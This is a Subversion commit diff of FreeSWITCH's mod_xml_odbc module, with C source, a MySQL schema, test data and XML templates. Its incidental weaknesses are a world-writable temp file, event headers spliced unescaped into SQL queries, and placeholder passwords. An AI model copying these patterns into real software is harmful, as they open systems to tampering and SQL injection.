+		return SWITCH_STATUS_FALSE;
+	}
+
+	if (switch_strlen_zero(cmd)) {
+		goto usage;
+	}
+
+	if (!strcasecmp(cmd, "debug_on")) {
+		globals.debug = SWITCH_TRUE;
+	} else if (!strcasecmp(cmd, "debug_off")) {
+		globals.debug = SWITCH_FALSE;
+	} else {
+		goto usage;
+	}
+
+	stream->write_function(stream, "OK\n");
+	return SWITCH_STATUS_SUCCESS;
+
+  usage:
+	stream->write_function(stream, "USAGE: %s\n", XML_ODBC_SYNTAX);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+typedef struct xml_binding {
+	char *bindings;
+} xml_binding_t;
+
+static char* switch_event_expand_headers_by_pool(switch_memory_pool_t *pool, switch_event_t *event, const char *in) /* perhaps it's handy if this is moved to switch_event.c ? */
+{
+    char *tmp, *out;
+
+    tmp = switch_event_expand_headers(event, in);
+    out = switch_core_strdup(pool, tmp);
+    if (tmp != in) switch_safe_free(tmp);
+
+    return out;
+}
+
+static int xml_odbc_query_callback(void *pArg, int argc, char **argv, char **columnName)
+{
+	xml_odbc_session_helper_t *helper = (xml_odbc_session_helper_t *) pArg;
+	int i;
+
+	if (!switch_strlen_zero(helper->next_template_name)) goto done;
+
+	/* up the row counter */
+	helper->tmp_i++; // TODO: WILL THIS GO WRONG FOR NESTED QUERIES ?? THINK ABOUT IT !!!
+
+	/* loop through all columns and store them in helper->event->headers */
+	for (i = 0; i < argc; i++) {
+		switch_event_del_header(helper->event, columnName[i]);
+		switch_event_add_header_string(helper->event, SWITCH_STACK_BOTTOM, columnName[i], argv[i]);
+	}
+
+	xml_odbc_render_children(helper);
+
+  done:
+	return 0;
+}
+
+static switch_status_t xml_odbc_do_break_to(xml_odbc_session_helper_t *helper)
+{
+	char *value = (char *) switch_xml_attr_soft(helper->xml_in_cur, "value");
+	char *new_value = switch_event_expand_headers_by_pool(helper->pool, helper->event, value);
+
+	helper->next_template_name = new_value;
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t xml_odbc_do_check_event_header(xml_odbc_session_helper_t *helper)
+{
+	char *name = (char *) switch_xml_attr_soft(helper->xml_in_cur, "name");
+	char *if_name = (char *) switch_xml_attr_soft(helper->xml_in_cur, "if-name");
+	char *if_value = (char *) switch_xml_attr_soft(helper->xml_in_cur, "if-value");
+	char *tmp_value;
+	switch_status_t status = SWITCH_STATUS_FALSE;
+
+	if (switch_strlen_zero(if_name)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Ignoring xml-odbc-do name=[%s] because no if-name is given\n", name);
+		goto done;
+	}
+
+	if ((tmp_value = switch_event_get_header(helper->event, if_name))) {
+		if (!switch_strlen_zero(tmp_value)) {
+			if (switch_strlen_zero(if_value) || !strcasecmp(if_value, tmp_value)) {
+				status = xml_odbc_render_children(helper);
+			}
+		}
+	}
+
+  done:
+	return status;
+}
+
+static switch_status_t xml_odbc_do_set_event_header(xml_odbc_session_helper_t *helper)
+{
+	char *name = (char *) switch_xml_attr_soft(helper->xml_in_cur, "name");
+	char *if_name = (char *) switch_xml_attr_soft(helper->xml_in_cur, "if-name");
+	char *if_value = (char *) switch_xml_attr_soft(helper->xml_in_cur, "if-value");
+	char *old_value = NULL;
+	char *to_value = (char *) switch_xml_attr_soft(helper->xml_in_cur, "to-value");
+	char *new_to_value = switch_event_expand_headers_by_pool(helper->pool, helper->event, to_value);
+	switch_status_t status = SWITCH_STATUS_FALSE;
+
+	if (switch_strlen_zero(to_value)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Ignoring xml-odbc-do name=[%s] because no to-value is given\n", name);
+		goto done;
+	}
+
+	if ((old_value = switch_event_get_header(helper->event, if_name))) {
+		if (switch_strlen_zero(if_value) || !strcasecmp(if_value, old_value)) {
+			switch_event_del_header(helper->event, if_name);
+			switch_event_add_header_string(helper->event, SWITCH_STACK_BOTTOM, if_name, new_to_value);
+		}
+	}
+
+	status = SWITCH_STATUS_SUCCESS;
+
+  done:
+	return status;
+}
+
+static switch_status_t xml_odbc_do_query(xml_odbc_session_helper_t *helper)
+{
+	char *value = (char *) switch_xml_attr_soft(helper->xml_in_cur, "value");
+	char *empty_result_break_to = (char *) switch_xml_attr_soft(helper->xml_in_cur, "on-empty-result-break-to");
+	char *new_value = switch_event_expand_headers_by_pool(helper->pool, helper->event, value);
+	switch_status_t status = SWITCH_STATUS_FALSE;
+
+	if (globals.debug == SWITCH_TRUE) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "DEBUG Performing Query:\n%s\n", new_value);
+	}
+
+	if (switch_odbc_handle_callback_exec(globals.master_odbc, new_value, xml_odbc_query_callback, helper) != SWITCH_ODBC_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error running this query: [%s]\n", new_value);
+		goto done;
+	} 
+
+	if (!switch_strlen_zero(empty_result_break_to) && helper->tmp_i == 0) {
+		helper->next_template_name = empty_result_break_to;
+	}
+	
+	status = SWITCH_STATUS_SUCCESS;
+
+  done:
+	return status;
+}
+
+/* render tag helper->xml_in_cur */
+static switch_status_t xml_odbc_render_tag(xml_odbc_session_helper_t *helper)
+{
+	switch_status_t status = SWITCH_STATUS_FALSE;
+	int i;
+
+	/* special case xml-odbc-do */
+	if (!strcasecmp(helper->xml_in_cur->name, "xml-odbc-do")) {
+		char *name = (char *) switch_xml_attr_soft(helper->xml_in_cur, "name");
+
+		if (switch_strlen_zero(name)) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Ignoring xml-odbc-do because no name is given\n");
+			goto done;
+		}
+
+		if (!strcasecmp(name, "break-to")) {
+			status = xml_odbc_do_break_to(helper);
+		} else if (!strcasecmp(name, "check-event-header")) {
+			status = xml_odbc_do_check_event_header(helper);
+		} else if (!strcasecmp(name, "set-event-header")) {
+			status = xml_odbc_do_set_event_header(helper);
+		} else if (!strcasecmp(name, "query")) {
+			status = xml_odbc_do_query(helper);
+		} else {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Ignoring invalid xml-odbc-do name=[%s]\n", name);
+		}
+
+		goto done;
+	}
+
+	/* just copy xml_in_cur to xml_out */
+	if (switch_strlen_zero(helper->xml_out_cur->name)) {
+		helper->xml_out_cur->name = switch_core_strdup(helper->pool, helper->xml_in_cur->name);
+
+	} else if (!(helper->xml_out_cur = switch_xml_add_child_d(helper->xml_out_cur, helper->xml_in_cur->name, helper->xml_out_cur_off++))) {
+		goto done;
+	}
+
+	/* copy all expanded attrs */
+	for (i=0; helper->xml_in_cur->attr[i]; i+=2) {
+		char *tmp_value = switch_event_expand_headers_by_pool(helper->pool, helper->event, helper->xml_in_cur->attr[i+1]);
+		switch_xml_set_attr(helper->xml_out_cur, helper->xml_in_cur->attr[i], tmp_value);
+	}
+
+	status = xml_odbc_render_children(helper);
+
+  done:
+	return status;
+}
+
+/* render all children of helper->xml_in_cur */
+static switch_status_t xml_odbc_render_children(xml_odbc_session_helper_t *helper)
+{
+	switch_xml_t xml_in_cur_tmp, xml_out_cur_tmp, xml_in_cur_child;
+	switch_status_t status = SWITCH_STATUS_FALSE;
+
+	/* temporarily save helper->xml_in_cur and helper->xml_out_cur so they can be restored later */
+	xml_in_cur_tmp = helper->xml_in_cur;
+	xml_out_cur_tmp = helper->xml_out_cur;
+
+	/* render all children of xml_in_cur */
+	for (xml_in_cur_child = helper->xml_in_cur->child; xml_in_cur_child; xml_in_cur_child = xml_in_cur_child->ordered) {
+		helper->xml_in_cur = xml_in_cur_child;
+
+		xml_odbc_render_tag(helper);
+
+		/* restore helper->xml_out_cur in case it was changed during render_tag */
+		helper->xml_out_cur = xml_out_cur_tmp;
+
+		if (!switch_strlen_zero(helper->next_template_name)) goto done;
+	}
+
+	status = SWITCH_STATUS_SUCCESS;
+
+  done:
+	/* restore helper->xml_in_cur in case it was changed during render_tag */
+	helper->xml_in_cur = xml_in_cur_tmp;
+
+    return status;
+}
+
+/* free xml_out and render template given by name helper->next_template_name */
+static switch_status_t xml_odbc_render_template(xml_odbc_session_helper_t *helper)
+{
+	switch_status_t status = SWITCH_STATUS_FALSE;
+
+	if (globals.debug == SWITCH_TRUE) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "DEBUG GOING TO RENDER TEMPLATE [%s]\n", helper->next_template_name);
+	}
+
+	/* up the helper->render_template_count and check whether it's > globals.max_render_template_count */
+	helper->render_template_count++;
+	if (helper->render_template_count > globals.max_render_template_count) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
+			"Stopped rendering template, called xml_odbc_render_template more than [%i] times, probably looping.\n", globals.max_render_template_count);
+		goto done;
+	}
+
+	/* free helper -> xml_out */
+	switch_xml_free(helper->xml_out);
+
+	/* init helper-> xml_out xml_out_cur to the same address */
+	if (!(helper->xml_out = helper->xml_out_cur = switch_xml_new(""))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Allocation Error!\n");
+		helper->next_template_name = "";
+		goto done;
+	}
+
+	/* reset helper->xml_out_cur_off */
+	helper->xml_out_cur_off = 0;
+
+	/* render children */
+	if ((helper->xml_in_cur = switch_xml_find_child(globals.templates_tag, "template", "name", helper->next_template_name))) {
+		helper->next_template_name = "";
+		status = xml_odbc_render_children(helper);
+		if (!switch_strlen_zero(helper->next_template_name)) goto reset;
+	} else {
+		helper->next_template_name = "not-found";
+		goto reset;
+	}
+
+	goto done;
+
+  reset:
+	status = xml_odbc_render_template(helper);
+
+  done:
+	return status;
+}
+
+static switch_xml_t xml_odbc_search(const char *section, const char *tag_name, const char *key_name, const char *key_value, switch_event_t *event, void *user_data)
+{
+	xml_binding_t *binding = (xml_binding_t *) user_data;
+	switch_event_header_t *hi;
+	switch_uuid_t uuid;
+	char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
+	char *xml_char;						/* a char representation of the generated xml that will be written to temp file */
+	switch_memory_pool_t *pool;			/* for easy memory cleanup */
+	xml_odbc_session_helper_t helper;	/* this helper is sent through all other functions to generate the xml */
+	switch_xml_t xml_out = NULL;		/* the xml that will be returned by this function */
+	char filename[512] = "";			/* the temporary, uuid-based filename */
+	int fd;
+
+	if (!binding) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No bindings... sorry bud returning now\n");
+		return NULL;
+	}
+
+	/* create a new memory pool for this session and put it in the helper */
+	switch_core_new_memory_pool(&pool);
+	helper.pool = pool;
+
+	/* set the render_template_count to 0 */
+	helper.render_template_count = 0;
+
+	/* set the default template to render */
+	helper.next_template_name = "default";
+
+	/* add some headers to event and put it in the helper */
+	switch_event_add_header_string(event, SWITCH_STACK_TOP, "section", switch_str_nil(section));
+	switch_event_add_header_string(event, SWITCH_STACK_TOP, "tag_name", switch_str_nil(tag_name));
+	switch_event_add_header_string(event, SWITCH_STACK_TOP, "key_name", switch_str_nil(key_name));
+	switch_event_add_header_string(event, SWITCH_STACK_TOP, "key_value", switch_str_nil(key_value));
+	helper.event = event;
+
+	/* debug print all switch_event_t event headers */
+	if (globals.debug == SWITCH_TRUE) {
+		if ((hi = event->headers)) {
+			for (; hi; hi = hi->next) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "DEBUG in xml_odbc_search, header [%s]=[%s]\n", hi->name, hi->value);
+			}
+		}
+	}
+
+	/* render xml to helper.xml_out */
+	if (xml_odbc_render_template(&helper) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Something went horribly wrong while generating an XML template!\n");
+		goto cleanup;
+	}
+
+	/* dump the generated file to *xml_char */
+	xml_char = switch_xml_toxml(helper.xml_out, SWITCH_FALSE);
+
+	/* debug dump the generated xml to console */
+	if (globals.debug == SWITCH_TRUE) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Debug dump of generated XML:\n%s", xml_char);
+	}
+
+	/* generate a new uuid */
+	switch_uuid_get(&uuid);
+	switch_uuid_format(uuid_str, &uuid);
+
+	/* generate a temporary filename to store the generated xml in */
+	// use switch_core_sprintf here ?!?!
+	switch_snprintf(filename, sizeof(filename), "%s%s.tmp.xml", SWITCH_GLOBAL_dirs.temp_dir, uuid_str);
+
+	/* open (temporary) file */
+	if ((fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR| S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH)) < 0) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening temp file [%s]!\n", filename);
+		switch_safe_free(xml_char);
+		goto cleanup;
+	}
+
+	/* dump xml_char to (temporary) file */
+	if (!write(fd, xml_char, (unsigned) strlen(xml_char))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error writing generated XML to temp file [%s]!\n", filename);
+		close(fd);
+		switch_safe_free(xml_char);
+		goto cleanup;
+	}
+
+	/* close (temporary) file */
+	close(fd);
+	fd = -1;
+
+	/* free xml_char */
+	switch_safe_free(xml_char);
+
+	/* copy the (temporary) file to switch_xml_t xml_out - this should never go wrong */
+	if (!(xml_out = switch_xml_parse_file(filename))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Parsing Result!\n");
+	}
+
+	/* debug by leaving the file behind for review */
+	if (globals.keep_files_around == SWITCH_TRUE) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Generated XML is in [%s]\n", filename);
+	} else {
+		if (unlink(filename) != 0) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Generated XML file [%s] delete failed\n", filename);
+		}
+	}
+
+  cleanup:
+	switch_xml_free(helper.xml_out);
+	switch_core_destroy_memory_pool(&pool);
+	/* free helper ?? */
+	/* free filename */
+
+  //done:
+	return xml_out;
+}
+
+
+static switch_status_t do_config()
+{
+	char *cf = "xml_odbc.conf";
+	switch_xml_t cfg, xml, settings_tag, templates_tag, param;
+	xml_binding_t *binding = NULL;
+
+	switch_status_t status = SWITCH_STATUS_FALSE;
+
+	char *odbc_user = NULL;
+	char *odbc_pass = NULL;
+	int binding_count = 0;
+
+	if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", cf);
+		return SWITCH_STATUS_TERM;
+	}
+
+	if (!(settings_tag = switch_xml_child(cfg, "settings"))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing <settings> tag!\n");
+		goto done;
+	}
+
+	if (!(templates_tag = switch_xml_child(cfg, "templates"))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing <templates> tag!\n");
+		goto done;
+	}
+
+	/* copy the templates to globals.templates_tag */
+	memcpy(&globals.templates_tag, &templates_tag, sizeof(templates_tag));
+
+	/* set a default globals.max_render_template_count to avoid loops in render_template */
+	globals.max_render_template_count = 32;
+
+	/* get all the settings */
+	for (param = switch_xml_child(settings_tag, "param"); param; param = param->next) {
+		char *var = NULL;
+		char *val = NULL;
+
+		var = (char *) switch_xml_attr_soft(param, "name");
+		val = (char *) switch_xml_attr_soft(param, "value");
+
+		if (!strcasecmp(var, "binding") && !switch_strlen_zero(val)) {
+			if (!(binding = malloc(sizeof(*binding)))) {
+				goto done;
+			}
+			memset(binding, 0, sizeof(*binding));
+			binding->bindings = strdup(val); // use switch_core_strdup globals.pool for this ?
+
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Binding XML Search Function [%s]\n", val);
+
+			switch_xml_bind_search_function(xml_odbc_search, switch_xml_parse_section_string(binding->bindings), binding);
+
+			binding_count++;
+			binding = NULL;
+
+		// change odbc-dsn to something like odbc-handle with name=default and dsn=a:b:c
+		// so a linked list or something is created with multiple handles that can be
+		// selected from xml-odbc-do name=query !!! that would be COOL !!!
+		} else if (!strcasecmp(var, "odbc-dsn") && !switch_strlen_zero(val)) {
+			globals.odbc_dsn = switch_core_strdup(globals.pool, val);
+			if ((odbc_user = strchr(globals.odbc_dsn, ':'))) {
+				*odbc_user++ = '\0';
+				if ((odbc_pass = strchr(odbc_user, ':'))) {
+					*odbc_pass++ = '\0';
+				}
+			}
+		} else if (!strcasecmp(var, "debug") && !switch_strlen_zero(val)) {
+			if (!strcasecmp(val, "true") || !strcasecmp(val, "on")) {
+				globals.debug = SWITCH_TRUE;
+			} else {
+				globals.debug = SWITCH_FALSE;
+			}
+		} else if (!strcasecmp(var, "keep-files-around") && !switch_strlen_zero(val)) {
+			if (!strcasecmp(val, "true") || !strcasecmp(val, "on")) {
+				globals.keep_files_around = SWITCH_TRUE;
+			} else {
+				globals.keep_files_around = SWITCH_FALSE;
+			}
+		}
+	}
+
+	/* check if any bindings were done */
+	if (binding_count == 0) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "No bindings are set, is this really what you want?\n");
+	}
+
+	/* check if odbc_dsn is set */
+	if (!globals.odbc_dsn) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No odbc-dsn setting is set!\n");
+		goto done;
+	}
+
+	/* make odbc connection */
+	if (switch_odbc_available() && globals.odbc_dsn) {
+
+		if (!(globals.master_odbc = switch_odbc_handle_new(globals.odbc_dsn, odbc_user, odbc_pass))) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+
+		if (switch_odbc_handle_connect(globals.master_odbc) != SWITCH_ODBC_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		}
+
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Connected ODBC DSN: %s\n", globals.odbc_dsn);
+	}
+
+	/* all went fine */
+	status = SWITCH_STATUS_SUCCESS;
+
+  done:
+	switch_xml_free(xml);
+	return status;
+}
+
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_xml_odbc_load)
+{
+	switch_api_interface_t *xml_odbc_api_interface;
+
+	switch_core_new_memory_pool(&globals.pool);
+	switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, globals.pool);
+
+	if (!switch_odbc_available()) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "You must have ODBC support in FreeSWITCH to use this module\n");
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "\t./configure --enable-core-odbc-support\n");
+		return SWITCH_STATUS_FALSE;
+	}
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "XML ODBC module loading...\n");
+
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+
+	if (do_config() != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to load xml_odbc config file\n");
+		return SWITCH_STATUS_FALSE;
+	}
+
+	SWITCH_ADD_API(xml_odbc_api_interface, "xml_odbc", "XML ODBC", xml_odbc_function, XML_ODBC_SYNTAX);
+	switch_console_set_complete("add xml_odbc debug_on");
+	switch_console_set_complete("add xml_odbc debug_off");
+	switch_console_set_complete("add xml_odbc render_template");
+
+	/* indicate that the module should continue to be loaded */
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_xml_odbc_shutdown)
+{
+	switch_odbc_handle_disconnect(globals.master_odbc);
+	switch_odbc_handle_destroy(&globals.master_odbc);
+
+	switch_xml_unbind_search_function_ptr(xml_odbc_search);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+* vim:set softtabstop=4 shiftwidth=4 tabstop=4:
+ */

Deleted: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/structure.mysql.sql

Copied: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/structure.mysql.sql (from rev 14471, freeswitch/trunk/contrib/mod/xml_int/mod_xml_odbc/structure.mysql.sql) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/structure.mysql.sql	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/structure.mysql.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,71 @@
+CREATE TABLE `dir_domains` (
+  `id` INT NOT NULL AUTO_INCREMENT,
+  `name` VARCHAR(255) NOT NULL,
+  PRIMARY KEY (`id`),
+  KEY `dir_domains_name` (`name`)
+);
+
+CREATE TABLE `dir_domain_params` (
+  `id` INT NOT NULL AUTO_INCREMENT,
+  `dir_domain_id` INT NOT NULL,
+  `name` VARCHAR(255) NOT NULL,
+  `value` VARCHAR(255) NOT NULL,
+  PRIMARY KEY (`id`),
+  FOREIGN KEY (`dir_domain_id`) REFERENCES `dir_domains` (`id`)
+);
+
+CREATE TABLE `dir_domain_variables` (
+  `id` INT NOT NULL AUTO_INCREMENT,
+  `dir_domain_id` INT NOT NULL,
+  `name` VARCHAR(255) NOT NULL,
+  `value` VARCHAR(255) NOT NULL,
+  PRIMARY KEY (`id`),
+  FOREIGN KEY (`dir_domain_id`) REFERENCES `dir_domains` (`id`)
+);
+
+CREATE TABLE `dir_groups` (
+  `id` INT NOT NULL AUTO_INCREMENT,
+  `name` VARCHAR(255) NOT NULL,
+  PRIMARY KEY (`id`)
+);
+
+CREATE TABLE `dir_groups_users` (
+  `dir_group_id` INT NOT NULL,
+  `dir_user_id` INT NOT NULL,
+  FOREIGN KEY (`dir_group_id`) REFERENCES `dir_groups` (`id`),
+  FOREIGN KEY (`dir_user_id`) REFERENCES `dir_users` (`id`)
+);
+
+CREATE TABLE `dir_users` (
+  `id` INT NOT NULL AUTO_INCREMENT,
+  `dir_domain_id` INT NOT NULL,
+  `enabled` TINYINT(1) NOT NULL,
+  `username` VARCHAR(255) NOT NULL,
+  `cidr` VARCHAR(255),
+  `mailbox` VARCHAR(255),
+  `number-alias` VARCHAR(255),
+  PRIMARY KEY (`id`),
+  KEY `dir_users_username` (`username`),
+  KEY `dir_users_cidr` (`cidr`),
+  KEY `dir_users_mailbox` (`mailbox`),
+  KEY `dir_users_number-alias` (`number-alias`),
+  FOREIGN KEY (`dir_domain_id`) REFERENCES `dir_domains` (`id`)
+);
+
+CREATE TABLE `dir_user_params` (
+  `id` INT NOT NULL AUTO_INCREMENT,
+  `dir_user_id` INT NOT NULL,
+  `name` VARCHAR(255) NOT NULL,
+  `value` VARCHAR(255) NOT NULL,
+  PRIMARY KEY  (`id`),
+  FOREIGN KEY (`dir_user_id`) REFERENCES `dir_users` (`id`)
+);
+
+CREATE TABLE `dir_user_variables` (
+  `id` INT NOT NULL AUTO_INCREMENT,
+  `dir_user_id` INT NOT NULL,
+  `name` VARCHAR(255) NOT NULL,
+  `value` VARCHAR(255) NOT NULL,
+  PRIMARY KEY  (`id`),
+  FOREIGN KEY (`dir_user_id`) REFERENCES `dir_users` (`id`)
+);

Deleted: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/testdata.mysql.sql

Copied: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/testdata.mysql.sql (from rev 14471, freeswitch/trunk/contrib/mod/xml_int/mod_xml_odbc/testdata.mysql.sql) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/testdata.mysql.sql	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/testdata.mysql.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+INSERT INTO `dir_domains` (`id`, `name`) VALUES (1, '172.31.0.76');
+INSERT INTO `dir_domain_params` (`id`, `dir_domain_id`, `name`, `value`) VALUES (1, 1, 'dom_param_name', 'dom_param_value');
+INSERT INTO `dir_domain_variables` (`id`, `dir_domain_id`, `name`, `value`) VALUES (1, 1, 'dom_variable_name', 'dom_variable_value');
+INSERT INTO `dir_groups` (`id`, `name`) VALUES (1, 'prepay'), (2, 'annoying_customers');
+INSERT INTO `dir_groups_users` (`dir_group_id`, `dir_user_id`) VALUES (1, 1), (2, 1);
+INSERT INTO `dir_users` (`id`, `dir_domain_id`, `username`, `enabled`, `cidr`, `mailbox`, `number-alias`) VALUES (1, 1, 'someuser', 1, NULL, 'test@test.com', '1234');
+INSERT INTO `dir_user_params` (`id`, `dir_user_id`, `name`, `value`) VALUES (1, 1, 'password', 'topsecret'), (2, 1, 'vm-password', '0000');
+INSERT INTO `dir_user_variables` (`id`, `dir_user_id`, `name`, `value`) VALUES (1, 1, 'accountcode', '1234'), (2, 1, 'user_context', 'default'), (3, 1, 'vm_extension', '1234');

Deleted: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc.conf.xml

Copied: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc.conf.xml (from rev 14471, freeswitch/trunk/contrib/mod/xml_int/mod_xml_odbc/xml_odbc.conf.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc.conf.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,63 @@
+<configuration name="xml_odbc.conf" description="XML ODBC Configuration">
+
+  <settings>
+    <param name="binding" value="directory"/>
+    <param name="odbc-dsn" value="freeswitch:freeswitch:secret"/>
+    <param name="debug" value="true"/>
+    <param name="keep_files_around" value="true"/>
+  </settings>
+
+  <templates>
+
+    <template name="default">
+      <xml-odbc-do name="break-to" value="${section}"/>
+    </template>
+
+    <template name="directory"> -->
+      <xml-odbc-do name="check-event-header" if-name="purpose"> 
+        <!-- catches purpose gateways and network-list (any more?) -->
+        <xml-odbc-do name="break-to" value="directory-${purpose}"/> 
+      </xml-odbc-do> 
+      <xml-odbc-do name="break-to" value="directory-user"/>
+    </template> 
+
+    <template name="configuration">
+      <xml-odbc-do name="check-event-header" if-name="tag_name" if-value="configuration">
+        <xml-odbc-do name="check-event-header" if-name="key_name" if-value="name">
+          <xml-odbc-do name="break-to" value="${key_value}" on-no-template-break-to="simple-configuration"/>
+        </xml-odbc-do>
+      </xml-odbc-do>
+    </template>
+
+    <template name="simple_configuration">
+      <document type="freeswitch/xml">
+        <configuration name="${key_value}">
+          <settings>
+            <xml-odbc-do name="query" value="
+              SELECT
+                name, value
+              FROM
+                cnf_settings
+              WHERE
+                hostname = '${FreeSWITCH-Hostname}' AND
+                section = '${section}';">
+              <param name="${name}" value="${value}"/>
+            </xml-odbc-do>
+          </settings>
+        </configuration>
+      </document>
+    </template>
+  
+    <template name="not_found">
+      <document type="freeswitch/xml">
+        <section name="result">
+          <result status="not found"/>
+        </section>
+      </document>
+    </template>
+
+    <X-PRE-PROCESS cmd="include" data="xml_odbc_templates/*.xml"/>
+
+  </templates>
+
+</configuration>

Copied: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates (from rev 14471, freeswitch/trunk/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates)

Deleted: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/console.conf.xml

Copied: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/console.conf.xml (from rev 14471, freeswitch/trunk/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/console.conf.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/console.conf.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/console.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,31 @@
+<include>
+  <template name="console.conf">
+    <document type="freeswitch/xml">
+      <configuration name="console.conf" description="Console Logger">
+        <mappings>
+          <xml-odbc-do name="query" value="
+            SELECT
+              name, value
+            FROM
+              cnf_console_mappings
+            WHERE
+              hostname = '${FreeSWITCH-Hostname}';">
+            <mapping name="${name}" value="${value}"/>
+          </xml-odbc-do>
+        </mappings>
+        <settings>
+          <xml-odbc-do name="query" value="
+            SELECT
+              name, value
+            FROM
+              cnf_settings
+            WHERE
+              hostname = '${FreeSWITCH-Hostname}' AND
+              section = '${section}';">
+            <param name="${name}" value="${value}"/>
+          </xml-odbc-do>
+        </settings>
+      </configuration>
+    </document>
+  </template>
+</include>

Deleted: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/dialplan.xml

Copied: freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/dialplan.xml (from rev 14471, freeswitch/trunk/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/dialplan.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/xml_int/mod_xml_odbc/xml_odbc_templates/dialplan.xml	                        (rev 0)
